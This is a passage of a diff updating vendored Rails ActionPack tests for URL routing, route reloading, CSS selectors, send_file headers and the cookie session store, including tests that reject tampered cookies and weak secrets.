+    url = set.generate(:controller => "people", :action => "index", :ws => true)
+    assert_equal "/ws/people", url
+  end
+
+  def test_generate_changes_controller_module
+    set.draw { |map| map.connect ':controller/:action/:id' }
+    current = { :controller => "bling/bloop", :action => "bap", :id => 9 }
+    url = set.generate({:controller => "foo/bar", :action => "baz", :id => 7}, current)
+    assert_equal "/foo/bar/baz/7", url
+  end
+
+  def test_id_is_not_impossibly_sticky
+    set.draw do |map|
+      map.connect 'foo/:number', :controller => "people", :action => "index"
+      map.connect ':controller/:action/:id'
+    end
+
+    url = set.generate({:controller => "people", :action => "index", :number => 3},
+      {:controller => "people", :action => "index", :id => "21"})
+    assert_equal "/foo/3", url
+  end
+
+  def test_id_is_sticky_when_it_ought_to_be
+    set.draw do |map|
+      map.connect ':controller/:id/:action'
+    end
+
+    url = set.generate({:action => "destroy"}, {:controller => "people", :action => "show", :id => "7"})
+    assert_equal "/people/7/destroy", url
+  end
+
+  def test_use_static_path_when_possible
+    set.draw do |map|
+      map.connect 'about', :controller => "welcome", :action => "about"
+      map.connect ':controller/:action/:id'
+    end
+
+    url = set.generate({:controller => "welcome", :action => "about"},
+      {:controller => "welcome", :action => "get", :id => "7"})
+    assert_equal "/about", url
+  end
+
+  def test_generate
+    set.draw { |map| map.connect ':controller/:action/:id' }
+
+    args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
+    assert_equal "/foo/bar/7?x=y", set.generate(args)
+    assert_equal ["/foo/bar/7", [:x]], set.generate_extras(args)
+    assert_equal [:x], set.extra_keys(args)
+  end
+
+  def test_generate_with_path_prefix
+    set.draw { |map| map.connect ':controller/:action/:id', :path_prefix => 'my' }
+
+    args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
+    assert_equal "/my/foo/bar/7?x=y", set.generate(args)
+  end
+
+  def test_generate_with_blank_path_prefix
+    set.draw { |map| map.connect ':controller/:action/:id', :path_prefix => '' }
+
+    args = { :controller => "foo", :action => "bar", :id => "7", :x => "y" }
+    assert_equal "/foo/bar/7?x=y", set.generate(args)
+  end
+
+  def test_named_routes_are_never_relative_to_modules
+    set.draw do |map|
+      map.connect "/connection/manage/:action", :controller => 'connection/manage'
+      map.connect "/connection/connection", :controller => "connection/connection"
+      map.family_connection "/connection", :controller => "connection"
+    end
+
+    url = set.generate({:controller => "connection"}, {:controller => 'connection/manage'})
+    assert_equal "/connection/connection", url
+
+    url = set.generate({:use_route => :family_connection, :controller => "connection"}, {:controller => 'connection/manage'})
+    assert_equal "/connection", url
+  end
+
+  def test_action_left_off_when_id_is_recalled
+    set.draw do |map|
+      map.connect ':controller/:action/:id'
+    end
+    assert_equal '/post', set.generate(
+      {:controller => 'post', :action => 'index'},
+      {:controller => 'post', :action => 'show', :id => '10'}
+    )
+  end
+
+  def test_query_params_will_be_shown_when_recalled
+    set.draw do |map|
+      map.connect 'show_post/:parameter', :controller => 'post', :action => 'show'
+      map.connect ':controller/:action/:id'
+    end
+    assert_equal '/post/edit?parameter=1', set.generate(
+      {:action => 'edit', :parameter => 1},
+      {:controller => 'post', :action => 'show', :parameter => 1}
+    )
+  end
+
+  def test_format_is_not_inherit
+    set.draw do |map|
+      map.connect '/posts.:format', :controller => 'posts'
+    end
+
+    assert_equal '/posts', set.generate(
+      {:controller => 'posts'},
+      {:controller => 'posts', :action => 'index', :format => 'xml'}
+    )
+
+    assert_equal '/posts.xml', set.generate(
+      {:controller => 'posts', :format => 'xml'},
+      {:controller => 'posts', :action => 'index', :format => 'xml'}
+    )
+  end
+
+  def test_expiry_determination_should_consider_values_with_to_param
+    set.draw { |map| map.connect 'projects/:project_id/:controller/:action' }
+    assert_equal '/projects/1/post/show', set.generate(
+      {:action => 'show', :project_id => 1},
+      {:controller => 'post', :action => 'show', :project_id => '1'})
+  end
+
+  def test_generate_all
+    set.draw do |map|
+      map.connect 'show_post/:id', :controller => 'post', :action => 'show'
+      map.connect ':controller/:action/:id'
+    end
+    all = set.generate(
+      {:action => 'show', :id => 10, :generate_all => true},
+      {:controller => 'post', :action => 'show'}
+    )
+    assert_equal 2, all.length
+    assert_equal '/show_post/10', all.first
+    assert_equal '/post/show/10', all.last
+  end
+
+  def test_named_route_in_nested_resource
+    set.draw do |map|
+      map.resources :projects do |project|
+        project.milestones 'milestones', :controller => 'milestones', :action => 'index'
+      end
+    end
+
+    request.path = "/projects/1/milestones"
+    request.env["REQUEST_METHOD"] = "GET"
+    assert_nothing_raised { set.recognize(request) }
+    assert_equal("milestones", request.path_parameters[:controller])
+    assert_equal("index", request.path_parameters[:action])
+  end
+
+  def test_setting_root_in_namespace_using_symbol
+    assert_nothing_raised do
+      set.draw do |map|
+        map.namespace :admin do |admin|
+          admin.root :controller => 'home'
+        end
+      end
+    end
+  end
+
+  def test_setting_root_in_namespace_using_string
+    assert_nothing_raised do
+      set.draw do |map|
+        map.namespace 'admin' do |admin|
+          admin.root :controller => 'home'
+        end
+      end
+    end
+  end
+
+  def test_route_requirements_with_unsupported_regexp_options_must_error
+    assert_raise ArgumentError do
+      set.draw do |map|
+        map.connect 'page/:name', :controller => 'pages',
+          :action => 'show',
+          :requirements => {:name => /(david|jamis)/m}
+      end
+    end
+  end
+
+  def test_route_requirements_with_supported_options_must_not_error
+    assert_nothing_raised do
+      set.draw do |map|
+        map.connect 'page/:name', :controller => 'pages',
+          :action => 'show',
+          :requirements => {:name => /(david|jamis)/i}
+      end
+    end
+    assert_nothing_raised do
+      set.draw do |map|
+        map.connect 'page/:name', :controller => 'pages',
+          :action => 'show',
+          :requirements => {:name => / # Desperately overcommented regexp
+                                      ( #Either
+                                       david #The Creator
+                                      | #Or
+                                        jamis #The Deployer
+                                      )/x}
+      end
+    end
+  end
+
+  def test_route_requirement_recognize_with_ignore_case
+    set.draw do |map|
+      map.connect 'page/:name', :controller => 'pages',
+        :action => 'show',
+        :requirements => {:name => /(david|jamis)/i}
+    end
+    assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
+    assert_raise ActionController::RoutingError do
+      set.recognize_path('/page/davidjamis')
+    end
+    assert_equal({:controller => 'pages', :action => 'show', :name => 'DAVID'}, set.recognize_path('/page/DAVID'))
+  end
+
+  def test_route_requirement_generate_with_ignore_case
+    set.draw do |map|
+      map.connect 'page/:name', :controller => 'pages',
+        :action => 'show',
+        :requirements => {:name => /(david|jamis)/i}
+    end
+    url = set.generate({:controller => 'pages', :action => 'show', :name => 'david'})
+    assert_equal "/page/david", url
+    assert_raise ActionController::RoutingError do
+      url = set.generate({:controller => 'pages', :action => 'show', :name => 'davidjamis'})
+    end
+    url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
+    assert_equal "/page/JAMIS", url
+  end
+
+  def test_route_requirement_recognize_with_extended_syntax
+    set.draw do |map|
+      map.connect 'page/:name', :controller => 'pages',
+        :action => 'show',
+        :requirements => {:name => / # Desperately overcommented regexp
+                                    ( #Either
+                                     david #The Creator
+                                    | #Or
+                                      jamis #The Deployer
+                                    )/x}
+    end
+    assert_equal({:controller => 'pages', :action => 'show', :name => 'jamis'}, set.recognize_path('/page/jamis'))
+    assert_equal({:controller => 'pages', :action => 'show', :name => 'david'}, set.recognize_path('/page/david'))
+    assert_raise ActionController::RoutingError do
+      set.recognize_path('/page/david #The Creator')
+    end
+    assert_raise ActionController::RoutingError do
+      set.recognize_path('/page/David')
+    end
+  end
+
+  def test_route_requirement_generate_with_extended_syntax
+    set.draw do |map|
+      map.connect 'page/:name', :controller => 'pages',
+        :action => 'show',
+        :requirements => {:name => / # Desperately overcommented regexp
+                                    ( #Either
+                                     david #The Creator
+                                    | #Or
+                                      jamis #The Deployer
+                                    )/x}
+    end
+    url = set.generate({:controller => 'pages', :action => 'show', :name => 'david'})
+    assert_equal "/page/david", url
+    assert_raise ActionController::RoutingError do
+      url = set.generate({:controller => 'pages', :action => 'show', :name => 'davidjamis'})
+    end
+    assert_raise ActionController::RoutingError do
+      url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
+    end
+  end
+
+  def test_route_requirement_generate_with_xi_modifiers
+    set.draw do |map|
+      map.connect 'page/:name', :controller => 'pages',
+        :action => 'show',
+        :requirements => {:name => / # Desperately overcommented regexp
+                                    ( #Either
+                                     david #The Creator
+                                    | #Or
+                                      jamis #The Deployer
+                                    )/xi}
+    end
+    url = set.generate({:controller => 'pages', :action => 'show', :name => 'JAMIS'})
+    assert_equal "/page/JAMIS", url
+  end
+
+  def test_route_requirement_recognize_with_xi_modifiers
+    set.draw do |map|
+      map.connect 'page/:name', :controller => 'pages',
+        :action => 'show',
+        :requirements => {:name => / # Desperately overcommented regexp
+                                    ( #Either
+                                     david #The Creator
+                                    | #Or
+                                      jamis #The Deployer
+                                    )/xi}
+    end
+    assert_equal({:controller => 'pages', :action => 'show', :name => 'JAMIS'}, set.recognize_path('/page/JAMIS'))
+  end
+
+  def test_routes_with_symbols
+    set.draw do |map|
+      map.connect 'unnamed', :controller => :pages, :action => :show, :name => :as_symbol
+      map.named   'named',   :controller => :pages, :action => :show, :name => :as_symbol
+    end
+    assert_equal({:controller => 'pages', :action => 'show', :name => :as_symbol}, set.recognize_path('/unnamed'))
+    assert_equal({:controller => 'pages', :action => 'show', :name => :as_symbol}, set.recognize_path('/named'))
+  end
+
+end
+
+class RouteLoadingTest < Test::Unit::TestCase
+  def setup
+    routes.instance_variable_set '@routes_last_modified', nil
+    silence_warnings { Object.const_set :RAILS_ROOT, '.' }
+    routes.add_configuration_file(File.join(RAILS_ROOT, 'config', 'routes.rb'))
+
+    @stat = stub_everything
+  end
+
+  def teardown
+    ActionController::Routing::Routes.configuration_files.clear
+    Object.send :remove_const, :RAILS_ROOT
+  end
+
+  def test_load
+    File.expects(:stat).returns(@stat)
+    routes.expects(:load).with(regexp_matches(/routes\.rb$/))
+
+    routes.reload
+  end
+
+  def test_no_reload_when_not_modified
+    @stat.expects(:mtime).times(2).returns(1)
+    File.expects(:stat).times(2).returns(@stat)
+    routes.expects(:load).with(regexp_matches(/routes\.rb$/)).at_most_once
+
+    2.times { routes.reload }
+  end
+
+  def test_reload_when_modified
+    @stat.expects(:mtime).at_least(2).returns(1, 2)
+    File.expects(:stat).at_least(2).returns(@stat)
+    routes.expects(:load).with(regexp_matches(/routes\.rb$/)).times(2)
+
+    2.times { routes.reload }
+  end
+
+  def test_bang_forces_reload
+    @stat.expects(:mtime).at_least(2).returns(1)
+    File.expects(:stat).at_least(2).returns(@stat)
+    routes.expects(:load).with(regexp_matches(/routes\.rb$/)).times(2)
+
+    2.times { routes.reload! }
+  end
+
+  def test_adding_inflections_forces_reload
+    ActiveSupport::Inflector::Inflections.instance.expects(:uncountable).with('equipment')
+    routes.expects(:reload!)
+
+    ActiveSupport::Inflector.inflections { |inflect| inflect.uncountable('equipment') }
+  end
+
+  def test_load_with_configuration
+    routes.configuration_files.clear
+    routes.add_configuration_file("foobarbaz")
+    File.expects(:stat).returns(@stat)
+    routes.expects(:load).with("foobarbaz")
+
+    routes.reload
+  end
+
+  def test_load_multiple_configurations
+    routes.add_configuration_file("engines.rb")
+
+    File.expects(:stat).at_least_once.returns(@stat)
+
+    routes.expects(:load).with('./config/routes.rb')
+    routes.expects(:load).with('engines.rb')
+
+    routes.reload
+  end
+
+  private
+    def routes
+      ActionController::Routing::Routes
+    end
+end
diff --git a/vendor/rails/actionpack/test/controller/selector_test.rb b/vendor/rails/actionpack/test/controller/selector_test.rb
index 4e31b457..9d0613d1 100644
--- a/vendor/rails/actionpack/test/controller/selector_test.rb
+++ b/vendor/rails/actionpack/test/controller/selector_test.rb
@@ -303,7 +303,7 @@ class SelectorTest < Test::Unit::TestCase
     assert_equal 1, @matches.size
     assert_equal "2", @matches[0].attributes["id"]
     # Before first and past last returns nothing.:
-    assert_raises(ArgumentError) { select("tr:nth-child(-1)") }
+    assert_raise(ArgumentError) { select("tr:nth-child(-1)") }
     select("tr:nth-child(0)")
     assert_equal 0, @matches.size
     select("tr:nth-child(5)")
@@ -597,8 +597,8 @@ class SelectorTest < Test::Unit::TestCase
 
   def test_negation_details
     parse(%Q{<p id="1"></p><p id="2"></p><p id="3"></p>})
-    assert_raises(ArgumentError) { select(":not(") }
-    assert_raises(ArgumentError) { select(":not(:not())") }
+    assert_raise(ArgumentError) { select(":not(") }
+    assert_raise(ArgumentError) { select(":not(:not())") }
     select("p:not(#1):not(#3)")
     assert_equal 1, @matches.size
     assert_equal "2", @matches[0].attributes["id"]
diff --git a/vendor/rails/actionpack/test/controller/send_file_test.rb b/vendor/rails/actionpack/test/controller/send_file_test.rb
index c003abf0..f61bbc60 100644
--- a/vendor/rails/actionpack/test/controller/send_file_test.rb
+++ b/vendor/rails/actionpack/test/controller/send_file_test.rb
@@ -1,9 +1,10 @@
+# encoding: utf-8
 require 'abstract_unit'
 
 module TestFileUtils
   def file_name() File.basename(__FILE__) end
   def file_path() File.expand_path(__FILE__) end
-  def file_data() File.open(file_path, 'rb') { |f| f.read } end
+  def file_data() @data ||= File.open(file_path, 'rb') { |f| f.read } end
 end
 
 class SendFileController < ActionController::Base
@@ -15,11 +16,13 @@ class SendFileController < ActionController::Base
 
   def file() send_file(file_path, options) end
   def data() send_data(file_data, options) end
+  def multibyte_text_data() send_data("Кирилица\n祝您好運", options) end
 
   def rescue_action(e) raise end
 end
 
-class SendFileTest < Test::Unit::TestCase
+class SendFileTest < ActionController::TestCase
+  tests SendFileController
   include TestFileUtils
 
   Mime::Type.register "image/png", :png unless defined? Mime::PNG
@@ -48,6 +51,7 @@ class SendFileTest < Test::Unit::TestCase
     require 'stringio'
     output = StringIO.new
     output.binmode
+    output.string.force_encoding(file_data.encoding) if output.string.respond_to?(:force_encoding)
     assert_nothing_raised { response.body.call(response, output) }
     assert_equal file_data, output.string
   end
@@ -69,6 +73,7 @@ class SendFileTest < Test::Unit::TestCase
 
     assert_equal @controller.file_path, response.headers['X-Sendfile']
     assert response.body.blank?
+    assert !response.etag?
   end
 
   def test_data
@@ -106,7 +111,7 @@ class SendFileTest < Test::Unit::TestCase
     @controller.send(:send_file_headers!, options)
 
     h = @controller.headers
-    assert_equal 1, h['Content-Length']
+    assert_equal '1', h['Content-Length']
     assert_equal 'image/png', h['Content-Type']
     assert_equal 'disposition; filename="filename"', h['Content-Disposition']
     assert_equal 'binary', h['Content-Transfer-Encoding']
@@ -118,17 +123,49 @@ class SendFileTest < Test::Unit::TestCase
     assert_equal 'private', h['Cache-Control']
   end
 
+  def test_send_file_headers_with_mime_lookup_with_symbol
+    options = {
+      :length => 1,
+      :type => :png
+    }
+
+    @controller.headers = {}
+    @controller.send(:send_file_headers!, options)
+
+    headers = @controller.headers
+
+    assert_equal 'image/png', headers['Content-Type']
+  end
+  
+
+  def test_send_file_headers_with_bad_symbol
+    options = {
+      :length => 1,
+      :type => :this_type_is_not_registered
+    }
+
+    @controller.headers = {}
+    assert_raise(ArgumentError){ @controller.send(:send_file_headers!, options) }
+  end
+
   %w(file data).each do |method|
     define_method "test_send_#{method}_status" do
       @controller.options = { :stream => false, :status => 500 }
       assert_nothing_raised { assert_not_nil process(method) }
-      assert_equal '500 Internal Server Error', @response.headers['Status']
+      assert_equal '500 Internal Server Error', @response.status
     end
 
     define_method "test_default_send_#{method}_status" do
       @controller.options = { :stream => false }
       assert_nothing_raised { assert_not_nil process(method) }
-      assert_equal ActionController::Base::DEFAULT_RENDER_STATUS_CODE, @response.headers['Status']
+      assert_equal ActionController::Base::DEFAULT_RENDER_STATUS_CODE, @response.status
     end
   end
+
+  def test_send_data_content_length_header
+    @controller.headers = {}
+    @controller.options = { :type => :text, :filename => 'file_with_utf8_text' }
+    process('multibyte_text_data')
+    assert_equal '29', @controller.headers['Content-Length']
+  end
 end
diff --git a/vendor/rails/actionpack/test/controller/session/cookie_store_test.rb b/vendor/rails/actionpack/test/controller/session/cookie_store_test.rb
index 30422314..40fcd568 100644
--- a/vendor/rails/actionpack/test/controller/session/cookie_store_test.rb
+++ b/vendor/rails/actionpack/test/controller/session/cookie_store_test.rb
@@ -1,310 +1,216 @@
 require 'abstract_unit'
-require 'action_controller/cgi_process'
-require 'action_controller/cgi_ext'
-
 require 'stringio'
 
+class CookieStoreTest < ActionController::IntegrationTest
+  SessionKey = '_myapp_session'
+  SessionSecret = 'b3c631c314c0bbca50c1b2843150fe33'
 
-class CGI::Session::CookieStore
-  def ensure_secret_secure_with_test_hax(secret)
-    if secret == CookieStoreTest.default_session_options['secret']
-      return true
-    else
-      ensure_secret_secure_without_test_hax(secret)
+  DispatcherApp = ActionController::Dispatcher.new
+  CookieStoreApp = ActionController::Session::CookieStore.new(DispatcherApp, :key => SessionKey, :secret => SessionSecret)
+
+  Verifier = ActiveSupport::MessageVerifier.new(SessionSecret, 'SHA1')
+
+  SignedBar = "BAh7BjoIZm9vIghiYXI%3D--fef868465920f415f2c0652d6910d3af288a0367"
+
+  class TestController < ActionController::Base
+    def no_session_access
+      head :ok
     end
-  end
-  alias_method_chain :ensure_secret_secure, :test_hax
-end
 
-
-# Expose for tests.
-class CGI
-  attr_reader :output_cookies, :output_hidden
-
-  class Session
-    attr_reader :dbman
-
-    class CookieStore
-      attr_reader :data, :original, :cookie_options
+    def persistent_session_id
+      render :text => session[:session_id]
     end
-  end
-end
 
-class CookieStoreTest < Test::Unit::TestCase
-  def self.default_session_options
-    { 'database_manager' => CGI::Session::CookieStore,
-      'session_key' => '_myapp_session',
-      'secret' => 'Keep it secret; keep it safe.',
-      'no_cookies' => true,
-      'no_hidden' => true,
-      'session_http_only' => true
-       }
-  end
+    def set_session_value
+      session[:foo] = "bar"
+      render :text => Rack::Utils.escape(Verifier.generate(session.to_hash))
+    end
 
-  def self.cookies
-    { :empty => ['BAgw--0686dcaccc01040f4bd4f35fe160afe9bc04c330', {}],
-      :a_one => ['BAh7BiIGYWkG--5689059497d7f122a7119f171aef81dcfd807fec', { 'a' => 1 }],
-      :typical => ['BAh7ByIMdXNlcl9pZGkBeyIKZmxhc2h7BiILbm90aWNlIgxIZXkgbm93--9d20154623b9eeea05c62ab819be0e2483238759', { 'user_id' => 123, 'flash' => { 'notice' => 'Hey now' }}],
-      :flashed => ['BAh7ByIMdXNlcl9pZGkBeyIKZmxhc2h7AA==--bf9785a666d3c4ac09f7fe3353496b437546cfbf', { 'user_id' => 123, 'flash' => {} }],
-      :double_escaped => [CGI.escape('BAh7ByIMdXNlcl9pZGkBeyIKZmxhc2h7AA%3D%3D--bf9785a666d3c4ac09f7fe3353496b437546cfbf'), { 'user_id' => 123, 'flash' => {} }] }
+    def get_session_value
+      render :text => "foo: #{session[:foo].inspect}"
+    end
 
+    def get_session_id
+      render :text => "foo: #{session[:foo].inspect}; id: #{request.session_options[:id]}"
+    end
+
+    def call_reset_session
+      reset_session
+      head :ok
+    end
+
+    def raise_data_overflow
+      session[:foo] = 'bye!' * 1024
+      head :ok
+    end
+
+    def rescue_action(e) raise end
   end
 
   def setup
-    ENV.delete('HTTP_COOKIE')
+    @integration_session = open_session(CookieStoreApp)
   end
 
   def test_raises_argument_error_if_missing_session_key
-    [nil, ''].each do |blank|
-      assert_raise(ArgumentError, blank.inspect) { new_session 'session_key' => blank }
-    end
+    assert_raise(ArgumentError, nil.inspect) {
+      ActionController::Session::CookieStore.new(nil,
+        :key => nil, :secret => SessionSecret)
+    }
+
+    assert_raise(ArgumentError, ''.inspect) {
+      ActionController::Session::CookieStore.new(nil,
+        :key => '', :secret => SessionSecret)
+    }
   end
 
   def test_raises_argument_error_if_missing_secret
-    [nil, ''].each do |blank|
-      assert_raise(ArgumentError, blank.inspect) { new_session 'secret' => blank }
-    end
+    assert_raise(ArgumentError, nil.inspect) {
+      ActionController::Session::CookieStore.new(nil,
+       :key => SessionKey, :secret => nil)
+    }
+
+    assert_raise(ArgumentError, ''.inspect) {
+      ActionController::Session::CookieStore.new(nil,
+       :key => SessionKey, :secret => '')
+    }
   end
 
   def test_raises_argument_error_if_secret_is_probably_insecure
-    ["password", "secret", "12345678901234567890123456789"].each do |blank|
-      assert_raise(ArgumentError, blank.inspect) { new_session 'secret' => blank }
+    assert_raise(ArgumentError, "password".inspect) {
+      ActionController::Session::CookieStore.new(nil,
+       :key => SessionKey, :secret => "password")
+    }
+
+    assert_raise(ArgumentError, "secret".inspect) {
+      ActionController::Session::CookieStore.new(nil,
+       :key => SessionKey, :secret => "secret")
+    }
+
+    assert_raise(ArgumentError, "12345678901234567890123456789".inspect) {
+      ActionController::Session::CookieStore.new(nil,
+       :key => SessionKey, :secret => "12345678901234567890123456789")
+    }
+  end
+
+  def test_setting_session_value
+    with_test_route_set do
+      get '/set_session_value'
+      assert_response :success
+      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
+        headers['Set-Cookie']
+   end
+  end
+
+  def test_getting_session_value
+    with_test_route_set do
+      cookies[SessionKey] = SignedBar
+      get '/get_session_value'
+      assert_response :success
+      assert_equal 'foo: "bar"', response.body
+   end
+  end
+
+  def test_getting_session_id
+    with_test_route_set do
+      cookies[SessionKey] = SignedBar
+      get '/persistent_session_id'
+      assert_response :success
+      assert_equal response.body.size, 32
+      session_id = response.body
+
+      get '/get_session_id'
+      assert_response :success
+      assert_equal "foo: \"bar\"; id: #{session_id}", response.body
     end
   end
 
-  def test_reconfigures_session_to_omit_id_cookie_and_hidden_field
-    new_session do |session|
-      assert_equal true, @options['no_hidden']
-      assert_equal true, @options['no_cookies']
-    end
-  end
-
-  def test_restore_unmarshals_missing_cookie_as_empty_hash
-    new_session do |session|
-      assert_nil session.dbman.data
-      assert_nil session['test']
-      assert_equal Hash.new, session.dbman.data
-    end
-  end
-
-  def test_restore_unmarshals_good_cookies
-    cookies(:empty, :a_one, :typical).each do |value, expected|
-      set_cookie! value
-      new_session do |session|
-        assert_nil session['lazy loads the data hash']
-        assert_equal expected, session.dbman.data
-      end
-    end
-  end
-
-  def test_restore_deletes_tampered_cookies
-    set_cookie! 'a--b'
-    new_session do |session|
-      assert_raise(CGI::Session::CookieStore::TamperedWithCookie) { session['fail'] }
-      assert_cookie_deleted session
-    end
-  end
-
-  def test_restores_double_encoded_cookies
-    set_cookie! cookie_value(:double_escaped)
-    new_session do |session|
-      session.dbman.restore
-      assert_equal session["user_id"], 123
-      assert_equal session["flash"], {}
-    end
-  end
-
-  def test_close_doesnt_write_cookie_if_data_is_blank
-    new_session do |session|
-      assert_no_cookies session
-      session.close
-      assert_no_cookies session
-    end
-  end
-
-  def test_close_doesnt_write_cookie_if_data_is_unchanged
-    set_cookie! cookie_value(:typical)
-    new_session do |session|
-      assert_no_cookies session
-      session['user_id'] = session['user_id']
-      session.close
-      assert_no_cookies session
+  def test_disregards_tampered_sessions
+    with_test_route_set do
+      cookies[SessionKey] = "BAh7BjoIZm9vIghiYXI%3D--123456780"
+      get '/get_session_value'
+      assert_response :success
+      assert_equal 'foo: nil', response.body
     end
   end
 
   def test_close_raises_when_data_overflows
-    set_cookie! cookie_value(:empty)
-    new_session do |session|
-      session['overflow'] = 'bye!' * 1024
-      assert_raise(CGI::Session::CookieStore::CookieOverflow) { session.close }
-      assert_no_cookies session
+    with_test_route_set do
+      assert_raise(ActionController::Session::CookieStore::CookieOverflow) {
+        get '/raise_data_overflow'
+      }
     end
   end
 
-  def test_close_marshals_and_writes_cookie
-    set_cookie! cookie_value(:typical)
-    new_session do |session|
-      assert_no_cookies session
-      session['flash'] = {}
-      assert_no_cookies session
-      session.close
-      assert_equal 1, session.cgi.output_cookies.size
-      cookie = session.cgi.output_cookies.first
-      assert_cookie cookie, cookie_value(:flashed)
-      assert_http_only_cookie cookie
-      assert_secure_cookie cookie, false
+  def test_doesnt_write_session_cookie_if_session_is_not_accessed
+    with_test_route_set do
+      get '/no_session_access'
+      assert_response :success
+      assert_equal "", headers['Set-Cookie']
     end
   end
 
-  def test_writes_non_secure_cookie_by_default
-    set_cookie! cookie_value(:typical)
-    new_session do |session|
-      session['flash'] = {}
-      session.close
-      cookie = session.cgi.output_cookies.first
-      assert_secure_cookie cookie,false
+  def test_doesnt_write_session_cookie_if_session_is_unchanged
+    with_test_route_set do
+      cookies[SessionKey] = "BAh7BjoIZm9vIghiYXI%3D--" +
+        "fef868465920f415f2c0652d6910d3af288a0367"
+      get '/no_session_access'
+      assert_response :success
+      assert_equal "", headers['Set-Cookie']
     end
   end
 
-  def test_writes_secure_cookie
-    set_cookie! cookie_value(:typical)
-    new_session('session_secure'=>true) do |session|
-      session['flash'] = {}
-      session.close
-      cookie = session.cgi.output_cookies.first
-      assert_secure_cookie cookie
+  def test_setting_session_value_after_session_reset
+    with_test_route_set do
+      get '/set_session_value'
+      assert_response :success
+      session_payload = response.body
+      assert_equal "_myapp_session=#{response.body}; path=/; HttpOnly",
+        headers['Set-Cookie']
+
+      get '/call_reset_session'
+      assert_response :success
+      assert_not_equal [], headers['Set-Cookie']
+      assert_not_equal session_payload, cookies[SessionKey]
+
+      get '/get_session_value'
+      assert_response :success
+      assert_equal 'foo: nil', response.body
     end
   end
 
-  def test_http_only_cookie_by_default
-    set_cookie! cookie_value(:typical)
-    new_session do |session|
-      session['flash'] = {}
-      session.close
-      cookie = session.cgi.output_cookies.first
-      assert_http_only_cookie cookie
-    end
-  end
-
-  def test_overides_http_only_cookie
-    set_cookie! cookie_value(:typical)
-    new_session('session_http_only'=>false) do |session|
-      session['flash'] = {}
-      session.close
-      cookie = session.cgi.output_cookies.first
-      assert_http_only_cookie cookie, false
-    end
-  end
-
-  def test_delete_writes_expired_empty_cookie_and_sets_data_to_nil
-    set_cookie! cookie_value(:typical)
-    new_session do |session|
-      assert_no_cookies session
-      session.delete
-      assert_cookie_deleted session
-
-      # @data is set to nil so #close doesn't send another cookie.
-      session.close
-      assert_cookie_deleted session
-    end
-  end
-
-  def test_new_session_doesnt_reuse_deleted_cookie_data
-    set_cookie! cookie_value(:typical)
-
-    new_session do |session|
-      assert_not_nil session['user_id']
-      session.delete
-
-      # Start a new session using the same CGI instance.
-      post_delete_session = CGI::Session.new(session.cgi, self.class.default_session_options)
-      assert_nil post_delete_session['user_id']
+  def test_persistent_session_id
+    with_test_route_set do
+      cookies[SessionKey] = SignedBar
+      get '/persistent_session_id'
+      assert_response :success
+      assert_equal response.body.size, 32
+      session_id = response.body
+      get '/persistent_session_id'
+      assert_equal session_id, response.body
+      reset!
+      get '/persistent_session_id'
+      assert_not_equal session_id, response.body
     end
   end
 
   private
-    def assert_no_cookies(session)
-      assert_nil session.cgi.output_cookies, session.cgi.output_cookies.inspect
-    end
-
-    def assert_cookie_deleted(session, message = 'Expected session deletion cookie to be set')
-      assert_equal 1, session.cgi.output_cookies.size
-      cookie = session.cgi.output_cookies.first
-      assert_cookie cookie, nil, 1.year.ago.to_date, "#{message}: #{cookie.name} => #{cookie.value}"
-    end
-
-    def assert_cookie(cookie, value = nil, expires = nil, message = nil)
-      assert_equal '_myapp_session', cookie.name, message
-      assert_equal [value].compact, cookie.value, message
-      assert_equal expires, cookie.expires ? cookie.expires.to_date : cookie.expires, message
-    end
-
-    def assert_secure_cookie(cookie,value=true)
-      assert cookie.secure==value
-    end
-
-    def assert_http_only_cookie(cookie,value=true)
-      assert cookie.http_only==value
-    end
-
-    def cookies(*which)
-      self.class.cookies.values_at(*which)
-    end
-
-    def cookie_value(which)
-      self.class.cookies[which].first
-    end
-
-    def set_cookie!(value)
-      ENV['HTTP_COOKIE'] = "_myapp_session=#{value}"
-    end
-
-    def new_session(options = {})
-      with_cgi do |cgi|
-        assert_nil cgi.output_hidden, "Output hidden params should be empty: #{cgi.output_hidden.inspect}"
-        assert_nil cgi.output_cookies, "Output cookies should be empty: #{cgi.output_cookies.inspect}"
-
-        @options = self.class.default_session_options.merge(options)
-        session = CGI::Session.new(cgi, @options)
-        ObjectSpace.undefine_finalizer(session)
-
-        assert_nil cgi.output_hidden, "Output hidden params should be empty: #{cgi.output_hidden.inspect}"
-        assert_nil cgi.output_cookies, "Output cookies should be empty: #{cgi.output_cookies.inspect}"
-
-        yield session if block_given?
-        session
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do |map|
+          map.with_options :controller => "cookie_store_test/test" do |c|
+            c.connect "/:action"
+          end
+        end
+        yield
       end
     end
 
-    def with_cgi
-      ENV['REQUEST_METHOD'] = 'GET'
-      ENV['HTTP_HOST'] = 'example.com'
-      ENV['QUERY_STRING'] = ''
-
-      cgi = CGI.new('query', StringIO.new(''))
-      yield cgi if block_given?
-      cgi
+    def unmarshal_session(cookie_string)
+      session = Rack::Utils.parse_query(cookie_string, ';,').inject({}) {|h,(k,v)|
+        h[k] = Array === v ? v.first : v
+        h
+      }[SessionKey]
+      verifier = ActiveSupport::MessageVerifier.new(SessionSecret, 'SHA1')
+      verifier.verify(session)
     end
 end
-
-
-class CookieStoreWithBlockAsSecretTest < CookieStoreTest
-  def self.default_session_options
-    CookieStoreTest.default_session_options.merge 'secret' => Proc.new { 'Keep it secret; keep it safe.' }
-  end
-end
-
-
-class CookieStoreWithMD5DigestTest < CookieStoreTest
-  def self.default_session_options
-    CookieStoreTest.default_session_options.merge 'digest' => 'MD5'
-  end
-
-  def self.cookies
-    { :empty => ['BAgw--0415cc0be9579b14afc22ee2d341aa21', {}],
-      :a_one => ['BAh7BiIGYWkG--5a0ed962089cc6600ff44168a5d59bc8', { 'a' => 1 }],
-      :typical => ['BAh7ByIMdXNlcl9pZGkBeyIKZmxhc2h7BiILbm90aWNlIgxIZXkgbm93--f426763f6ef435b3738b493600db8d64', { 'user_id' => 123, 'flash' => { 'notice' => 'Hey now' }}],
-      :flashed => ['BAh7ByIMdXNlcl9pZGkBeyIKZmxhc2h7AA==--0af9156650dab044a53a91a4ddec2c51', { 'user_id' => 123, 'flash' => {} }],
